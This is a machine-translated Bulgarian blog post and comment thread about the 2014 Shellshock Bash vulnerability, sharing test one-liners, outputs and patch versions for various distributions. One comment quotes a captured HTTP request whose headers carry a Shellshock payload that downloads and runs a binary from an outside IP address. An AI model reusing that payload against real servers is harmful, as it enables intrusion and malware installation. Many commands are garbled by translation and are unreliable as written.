Тя работи като горски пожар в някои блогове, история, публикувана в блог за сигурност de Кардинал за уязвимост, открита в Bash поради злоупотреба с глобални променливи. Според оригиналната новина:
“... Уязвимостта се дължи на факта, че променливите на средата със специално създадени стойности могат да бъдат създадени преди извикване на черупката на bash. Тези променливи могат да съдържат код, който се изпълнява веднага след извикването на обвивката. Името на тези разработени променливи няма значение, а само тяхното съдържание. В резултат на това тази уязвимост е изложена в много контексти, например:
- ForceCommand той се използва в sshd конфигурации, за да осигури ограничени възможности за изпълнение на команди за отдалечени потребители. Този недостатък може да се използва, за да се избегне това и да се осигури произволно изпълнение на командата. Някои реализации на Git и Subversion използват такива ограничени черупки. Редовното използване на OpenSSH не се засяга, тъй като потребителите вече имат достъп до конзола.
- Сървърът на Apache, използващ mod_cgi или mod_cgid, е засегнат, ако CGI скриптовете са написани както в bash, така и в по-ниски нива. Такива поднива се използват имплицитно от system / popen в C, от os.system / os.popen в Python, ако се използва системна / exec черупка в PHP (когато работи в режим CGI) и отворена / система в Perl (което зависи от командния низ).
- PHP скриптовете, изпълнявани с mod_php, не са засегнати, дори ако се играят поднива.
- DHCP клиентите извикват скриптове на черупки, за да конфигурират системата, като стойностите са взети от потенциално злонамерен сървър. Това би позволило произволни команди да се изпълняват, обикновено като root, на DHCP клиентска машина.
- Различни демони и програми с привилегии SUID могат да изпълняват скриптове на черупки със стойности на променливата на околната среда, зададени / повлияни от потребителя, позволявайки да се изпълняват произволни команди.
- Всяко друго приложение, което се свързва с черупка или изпълнява скрипт на обвивка, като използване на bash като интерпретатор. Скриптовете на черупки, които не експортират променливи, не са уязвими за този проблем, дори ако обработват ненадеждно съдържание и го съхраняват в отворени променливи на черупката (вляво) и поднива.
... "
Как да разбера дали моят bash е засегнат?
Като се има предвид това, има много прост начин да разберем дали сме засегнати от тази уязвимост. Всъщност тествах на моя Antergos и очевидно нямам проблем. Това, което трябва да направим, е да отворим терминал и да поставим:
env x = '() {:;}; echo уязвим 'bash -c "ехо това е тест"
Ако излезе по този начин, нямаме проблем:
env x = '() {:;}; echo уязвим 'bash -c "ехо това е тест" bash: предупреждение: x: игнориране на опит за дефиниция на функция bash: грешка при импортиране на дефиниция на функция за `x' това е тест
Ако резултатът е различен, трябва да използвате каналите за актуализация на нашите предпочитани дистрибуции, за да видите дали вече са приложили корекцията. Значи знаете 😉
Актуализирано: Това е резултатът от колега, използващ Ubuntu 14:04:
env x = '() {:;}; echo уязвим 'bash -c "ехо това е тест" уязвим това е тест
Както можете да видите, засега тя е уязвима.
Имам Kubuntu 14.04 от 64 и също получавам:
env x = '() {:;}; echo уязвим 'bash -c "ехо това е тест"
уязвим
това е тест
Вече актуализирах, но не коригира. Какво да правя?
Изчакайте да се актуализират. Вече eOS например е актуализиран .. 😀
Колко странно, имам и Kubuntu 14.04
$ env x = '() {:;}; echo уязвим 'bash -c "ехо това е тест"
bash: предупреждение: x: игнориране на опита за дефиниране на функция
bash: грешка при импортиране на дефиниция на функция за `x '
това е тест
Добавям, че изтеглената днес версия на "bash" пакета е:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
В моя случай, като давам командата, тя просто ми дава следното в терминала:
>Както и да е, шегата е, че актуализирах Debian Wheezy и това ме заряза.
Wheezy все още е уязвим към втората част на грешката, поне за следобеда (UTC -4: 30) проблемът все още следваше: /
Току-що потвърдих, че след прилагане на актуализация тази сутрин нито Slackware, нито Debian, нито Centos са засегнати, тъй като са получили съответна актуализация.
Какво прави Ubuntu все още уязвим в този час? И ми кажете, че е безопасно: D.
Но опитахте ли се да актуализирате Ubuntu?
С днешната актуализация те също са я поправили.
OK
Експертите по сигурността предупреждават за уязвимостта „Bash“, че тя може да представлява по-голяма заплаха за потребителите на Linux софтуер, отколкото грешката Heartbleed, където хакерите могат да използват грешка в Bash, за да поемат пълен контрол над системата.
Тод Биърдсли, инженерен мениджър във фирмата за киберсигурност Rapid7, предупреди, че недостатъкът е оценен с 10 заради сериозността му, което означава, че има максимално въздействие, и е оценен като "нисък" за сложността на експлоата, което означава, че е сравнително лесно за "хакерски" атаки . Използвайки тази уязвимост, атакуващите потенциално могат да поемат контрола над операционната система, да получат достъп до поверителна информация, да направят промени и т.н. “, каза Биърдсли. „Всеки, който има системи, които заемат Bash, трябва незабавно да приложи корекцията“, добави той.
ПРЕДИ ТАЗИ УЛУЧИМОСТ, КОЯТО ПРЕДСТАВЯ СТАРИЯ ИНСТРУМЕНТ (GNU), където се хоства Bach, би било по-удобно за Linux софтуера да се отърве от GNU и да промени за инструмента BSD.
PS: не цензурирайте свободата ми на изразяване, ... не обиждайте никого, ... не изтривайте моето съобщение като предишното съобщение, което съм изтрил!
О, моля те, не прекалявай. Как мразя хората, които използват BSD и презират GNU, Linux или нещо от тези проекти.
Аз съм с теб и ти си напълно прав по отношение на тежестта на тази дупка.
Това не беше цензура, а излишък (бяхте направили същия коментар в публикацията на gnome 3.14)
«… И оценено с„ НИСКО “ЗА СЛОЖНОСТТА на експлоатацията, което означава, че е относително ЛЕСНО за хакерски атаки»
Забелязва ли се несъответствието?
Как може да бъде лесно да се използва уязвимостта и в същото време да има „ниско“ ниво на риск, тъй като е толкова сложна за използване?
Това е грешка, която е решена в рамките на часове, след като са се познавали и която, подобно на сърцето, няма съобщения за експлоатация (Разбира се, това има по-малко време да се познават).
Това е повече таблоидна преса, отколкото реален риск.
@Staff изглежда ли ви маловажен? Какво ще ми кажете сега?
ПОЛУЧАВАЙТЕ /. HTTP/1.0
.Потребител-агент: .Благодаря-Роб
.Bookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Приемам :. * / *
$ файл nginx
nginx: ELF 32-битов LSB изпълним файл, Intel 80386, версия 1 (SYSV), статично свързан, за GNU / Linux 2.6.18, отстранен
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Знаете ли какво е това? От малко опасно нищо ...
Ситуацията е доста сериозна, но от там да се каже, че трябва да спрете да използвате bash за опция BSD, тя вече е най-много, така или иначе актуализацията вече е налице, просто докосвам update и нищо друго.
Сега PD, мисля, че е по-скоро колега @robet, не мисля, че тук администраторите са посветени на изтриването на коментари като този, защото да, защото, тъй като участвах в тази общност, имах това чувство и се надявам да остане така.
Поздрави.
Поставяте абсолютно същия коментар на две различни публикации. Ако се опитвате да популяризирате „източника“ на новините, извинете, това не е мястото.
Bash идва от Unix (и неговия клон GNU). BSD-базирани системи като OSX също са засегнати и според Genbeta те все още не са го закърпили. По същия начин за достъп до Bash ви е необходим потребителски акаунт, локален или чрез SSH.
@Персонал:
1. - Класифицира се като ниво 10 (максимално ниво на опасност) поради количеството услуги, които могат да бъдат засегнати от грешката. В основната бележка те правят този факт много ясен, като твърдят, че грешката може да повлияе на услуги като apache, sshd, програми със suid разрешения (xorg, наред с други).
2. - Класифициран е като Ниско ниво на трудност, що се отнася до неговото изпълнение, и най-добрият пример за това е скриптът за тест за уязвимост, който @elav е поставил в публикацията. Много трудно за изпълнение не е, както виждате.
Не виждам излишък в информацията (виждам само превод на Google) и ако проблемът е доста сериозен и както казвате, той вече има кръпка и решение, но не и за това, вече не е риск, а съвсем реален .
@petercheco / @Yukiteru
Не ме тълкувайте погрешно, мисля, че е ясно, че моята критика е новината, която Robet свързва и е фокусирана върху несъответствието, а не върху излишъка.
По същия начин трябва да правим разлика между риск и опасност (не споменавам последната), често ги използваме като синоними, но тук опасността би била способността за повреда на грешката и рискът от вероятността за нейното възникване.
В моя конкретен случай влязох от вчера. Не беше за пощенски списъци или нещо подобно, а за дистрибуция на работния плот! Взех телефона и изпратих съобщение до sysadmin с връзката и потвърдих, че съм закърпил всичко, след което ме извинете, но тези новини не ме държат буден.
В други форуми те споменават за уязвимостта на Bash, "решението, което Debian и Ubuntu пуснаха", но днес те откриха, че уязвимост все още съществува, така че решението беше непълно, това е, което те споменават!
Виждам, че мнозина ме критикуваха за простия факт на предотвратяване на хората от сериозността на уязвимостта - квалифициран с ниво 10 на максимална опасност и споменавайки възможни решения за Linux софтуер в лицето на остарелия инструмент на GNU, където се хоства Bash - който перфектно GNU може да бъде заменен с инструмента BSD в Linux Software, ... Аз също използвам Linux и харесвам Linux!
Пояснявам, че Bash не се предлага по подразбиране, инсталиран в BSD, това е още един пакет за съвместимост с Linux, който може да се инсталира в BSD ... да! И източникът е поставен, за да могат да проверят новините, тъй като много от потребителите понякога не вярват на съобщението или коментара.
robet: Както вече са ви казвали отново и отново, вие вече поставяте коментара си с новината в публикация, не е нужно да го поставяте във всяка публикация, която коментирате.
За bash, тъй като има и други черупки, които могат да се използват в случай, че Bash е уязвим. 😉
Robet, за който знам, че няма софтуер, който да комбинира ядрото на Linux с потребителската страна на BSD. Най-близкото е обратното, kBSD + GNU, както правят Gentoo и Debian. Освен това GNU (1983) не може да се нарече „старомоден“, ако е след BSD (1977). И двамата споделят своя корен на unix (но не и кода), не би имало "съвместимост с Linux", ако Bash беше създаден, когато Linus T беше още дете.
uff, тестването на debian в този момент е "уязвимо" каква ивица имаме ...
Използвам тестване на Debian и дори в този клон получихме актуализацията на bash
според genbeta има и друга уязвимост
http://seclists.org/oss-sec/2014/q3/685
командата за консултация е
env X = '() {(a) => \' sh -c "ехо уязвимо"; bash -c "echo Failure 2 unpatched"
env X = '() {(a) => \' sh -c "ехо уязвимо"; bash -c "echo Unpatched Failure 2" sh: X: ред 1: синтактична грешка близо до неочакван елемент `= 'sh: X: ред 1:`' sh: грешка при импортиране на дефиниция на функция за `X 'sh : уязвим: команда не е намерена Неуспех 2 без корекциясъщият аз.
И тук така. Но оригиналната грешка в публикацията беше закърпена в (L) Ubuntu 14.04
Вместо да направя просто ехо, опитайте се да го накара да изпълни инструкция, която изисква привилегии, аз хвърлям "недостатъчни привилегии" ... тази грешка не ескалира привилегии? Ако не ескалира привилегии, тогава не е толкова опасно, колкото го нарисуват.
Прав си!! те бяха две уязвимости ...
За мен в Linux Mint 17 след втората баш актуализация, която те поставиха в хранилищата на Ubuntu снощи, при изпълнение на тази команда черупката предлага този изход:
env X = '() {(a) => \' sh -c "ехо уязвимо"; bash -c "echo Fail 2 unpatched"
>
Версията на "bassh", която е поставена в хранилищата на Ubuntu за актуализиране на предишните, е:
4.3-7ubuntu1.2
На извлечени от Debian системи можете да проверите инсталираната версия с тази команда:
dpkg -s bash | grep версия
Във всеки случай трябва да се изясни, поне за потребителите на Debian, Ubuntu и Mint; Не бива да се притеснявате много от програми, които изпълняват скриптове с заглавката #! / Bin / sh, защото в тези дистрибуции / bin / sh не извиква "bash", а се свързва с черупката "dash" (тирето е :)
Debian Alchemist Console (тире) е производна POSIX конзола
от пепел.
.
Тъй като изпълнява скриптове по-бързо от bash и има по-малко зависимости
библиотеки (което го прави по-стабилен срещу софтуерни откази или
хардуер), той се използва като системна конзола по подразбиране в системите
Debian.
Така че, поне в Ubuntu, "bash" се използва като черупка за потребителско влизане (също и за root потребителя). Но всеки потребител може да използва друга обвивка по подразбиране за потребителската и коренната конзоли (терминали).
Лесно е да проверите дали черупката изпълнява скриптовете (#! / Bin / sh), като изпълнява следните команди:
файл / кош / ш
(изходът е / bin / sh: символична връзка към `тире ') следваме следата, повтаряйки командата
файл / кош / тире
(изходът е / bin / тире: ELF 64-битов LSB споделен обект, x86-64, версия 1 (SYSV), така че това е изпълнимият файл.
Това са резултатите за дистрибуция на Linux Mint 17. При други дистрибуции, които не са базирани на Ubuntu / Debian, те може да са различни.
Не е трудно да промените черупката по подразбиране !! можете дори да използвате различен за потребителите и за главния потребител. Всъщност просто трябва да инсталирате избраната от вас обвивка и да промените настройката по подразбиране с командата "chsh" или чрез редактиране на файла / etc / passwd (въпреки че потребители, които не знаят последствията от грешка при редактиране на файла "passwd", по-добре е да се информирате много добре и преди да го редактирате, направете копие на оригинала, в случай че е необходимо да го възстановите).
Чувствам се по-комфортно с "tcsh" (tcsh е :)
Конзолата TENEX C, подобрена версия на Berkeley csh
"Csh" е това, което Mac OS X използва преди няколко години. Което има смисъл, като се има предвид, че голяма част от операционната система на Apple е кодът на FreeBSD. Сега от това, което прочетох вчера, изглежда, че те също предоставят "bash" за потребителски терминали.
ЗАКЛЮЧЕНИЯ:
- Изправените „bash“ версии „за най-използваните дистрибуции“ вече са разпространени
- "bash" версия 4.3-7ubuntu1.2 и по-нови версии не съдържа тези грешки
- Не е задължително да използвате "bash" в OS * Linux
- Малко * дистрибуции на Linux свързват #! / Bin / sh с "bash"
- Има алтернативи: ash, dash, csh, tcsh и някои други
- Не е сложно да промените черупката по подразбиране, която системата извиква при отваряне на терминал
- Малко малки устройства (рутери и други) използват "bash", защото е много голям !!
Точно сега току-що пристигна друга актуализация, която инсталира друга версия на "bash" 4.3-7ubuntu1.3
За Linux Mint 17 и Ubuntu 14.04.1 LTS
ArchLinux въведе версия bash-4.3.026-1
@ Xurxo ... .csh от Бъркли?, ... Разбирате нещо от това, което говоря по-горе, и е по-добре да използвате BSD "csh" ... вместо стария GNU инструмент, където се хоства Bash. Този инструмент е най-добрият за Linux софтуер.
Предполагам, че това е грешката
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
вярно?
И какво би било решението?
Изчакайте да актуализират пакета на вашата дистрибуция 😉
Буболечката е кръстена като черупка
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
уязвим
това е тест
Все още няма кръпка за Ubuntu Studio 14.04
Поправен в Ubuntu Studio 14.04.1
Wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo уязвим 'bash -c "ехо това е тест"
bash: предупреждение: x: игнориране на опита за дефиниране на функция
bash: грешка при импортиране на дефиниция на функция за `x '
това е тест
Всъщност това е малка уязвимост, ако ви засяга, това е, че сте правили нещо нередно преди ...
Тъй като скриптът bash, който се изпълнява с root права, никога не трябва да бъде изложен на потребител. И ако той работи без привилегии, няма такава уязвимост. Всъщност е глупаво. Много плашещо.
Аз мисля същото.
Точно за да продадете повече вестници или да получите повече посещения, тези грешки са добри.
Но те винаги забравят да споменат, че за да компрометирате компютър с този тип скриптове, първо трябва да имате достъп до bash и след това да го имате като root.
персонал, ако използвате apache с cgi, просто поставете в http заглавията като бисквитки или референт функцията, която искате да изпълните. Дори е бил използван за разпространение на червеи.
и ако някой постави черупка на сървър с wget mishell.php, в този случай това не е сериозно, нали?
Съгласен съм с теб. Мислех, че това е огромна грешка като Heartbleed (дори NSA се е заел да подхранва заболеваемостта), но в крайна сметка това е малка грешка.
Има и други наистина сериозни грешки като лудото потребление на Flash и спадът на производителността в Pepper Flash Player и този, който вече е поправен webRTC грешка в Chrome и Firefox.
Знаете ли дали има уговорка за хора, които имат Linux Mint 16?
При тестването на Debian това вече беше фиксирано.
В моите 5 дистрибуции това е решено, в моята OS X не знам.
Моля, не цензурирайте коментара ми, казах OS X. Не знам дали можете да кажете OS X на този сайт.
@yoyo добре, не се измъквайте твърде много, че все още работят по някои подробности за кръпката ... опитайте това и след това ми кажете как
env x = '() {:;}; echo уязвим 'bash -c "echo Аз съм по-уязвим от боклука на iphone 6"
Че ако са го решили на 100% преди OS X, залагам нещо
Е, дори в Ars Technica те придават значение на Bash в OSX.
@Yoyo следващ коментар за OS X за СПАМ .. lla tu save .. 😛
@yoyo там, за да поправи кавичките ... но останалото знаете 😉
FSF говори
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Като че ли са покровителствали OSX (защото OSX все още използва Bash: v).
Както и да е, не трябва да се забърквам толкова с Дебиан Джеси.
Ако системата е уязвима в Cent OS:
yum почисти всички && yum актуализация bash
за да видите версията на bash:
rpm -qa | греп баш
Ако версията е по-ранна от bash-4.1.2-15.el6_5.1, системата ви може да е уязвима!
Поздрави.
Втора уязвимост все още не е разрешена
env amvariable2 = '() {(a) => \' sh -c "ехо amVulvable"; bash -c "echo Failure 2 unpatched"
Актуализира се ...
В Gentoo ми се случва обратното, аз съм уязвим само на първия неуспех, но с втория получавам това:
[код] sh: X: ред 1: синтактична грешка близо до неочакван елемент `= '
sh: X: ред 1: "
sh: грешка при импортиране на дефиниция на функция за `X '
sh: уязвим: командата не е намерена
Грешка 2 не е закърпена
[/ Код]
Не знам дали вече ще има стабилна версия на Bash с отстранени грешки, но така или иначе ще бъде изчакваща за следващия път, когато направя emerge –sync && emerge –update –deep –with-bdeps = и - newuse @world (така стъпката актуализирам цялата система).
Имам Gentoo с версия 4.2_p50 и до момента е преминал всички тестове. Опитайте emerging –sync и след това emerge -av1 app-shells / bash и след това проверете дали имате версия 4.2_p50, като използвате командата bash –version.
Пробвали ли сте това?
И с нови пакети, нов тест, предоставен от Red Hat
cd / tmp; rm -f / tmp / ехо; env 'x = () {(a) => \' bash -c "ехо дата"; котка / tmp / ехо
ако нашата система не е уязвима и е била правилно закърпена, тя трябва да ни даде нещо подобно
1 дата
2 cat: / tmp / echo: Файлът или директорията не съществуват
Опитайте по този начин:
env X = '() {(a) => \' sh -c "ехо уязвимо"; bash -c "echo Failure 2 patched"
взимам
уязвим
Заправена грешка 2.
Забравете, редът е зле форматиран.
Отлично! Вече направих актуализацията на моя Slackware, благодаря!
Здравейте, имам въпрос, имам няколко сървъра с 10 бита "SUSE Linux Enterprise Server 64".
Когато изпълнявам командите, които съм уязвим, аз съм дори по-уязвим от боклука iPhone 6 xD
Ако не греша да актуализирам / инсталирам пакети в SUSE, това става с командата «zypper».
На някои сървъри ми казва това:
BIAL: ~ # цип нагоре
-bash: zypper: командата не е намерена
BIAL: ~ #
И в други това:
SMB: ~ # цип нагоре
Възстановяване на системни източници ...
Анализиране на метаданни за SUSE Linux Enterprise Server 10 SP2-20100319-161944 ...
Анализиране на базата данни на RPM ...
Резюме:
Нищо за правене.
Какво правя?
Знам, че някои казват, че уязвимостта е по-малка от това, което нарисуват, но аз я имам и не искам да бъда изложен на риск, бил той малък или голям.
Поздрави.
Лека нощ, опитах се да поставя кода, който сте предоставили в статията, получавам това
sanders @ pc-sanders: ~ $ env x = '() {:;}; echo уязвим 'bash -c "ехо това е тест"
това е тест
sanders @ pc-sanders: ~ $
Бихте ли ми обяснили как да поправя дистрибуцията, актуализирам се ежедневно и не виждам промени в извода за бърз достъп.
Благодаря ви много!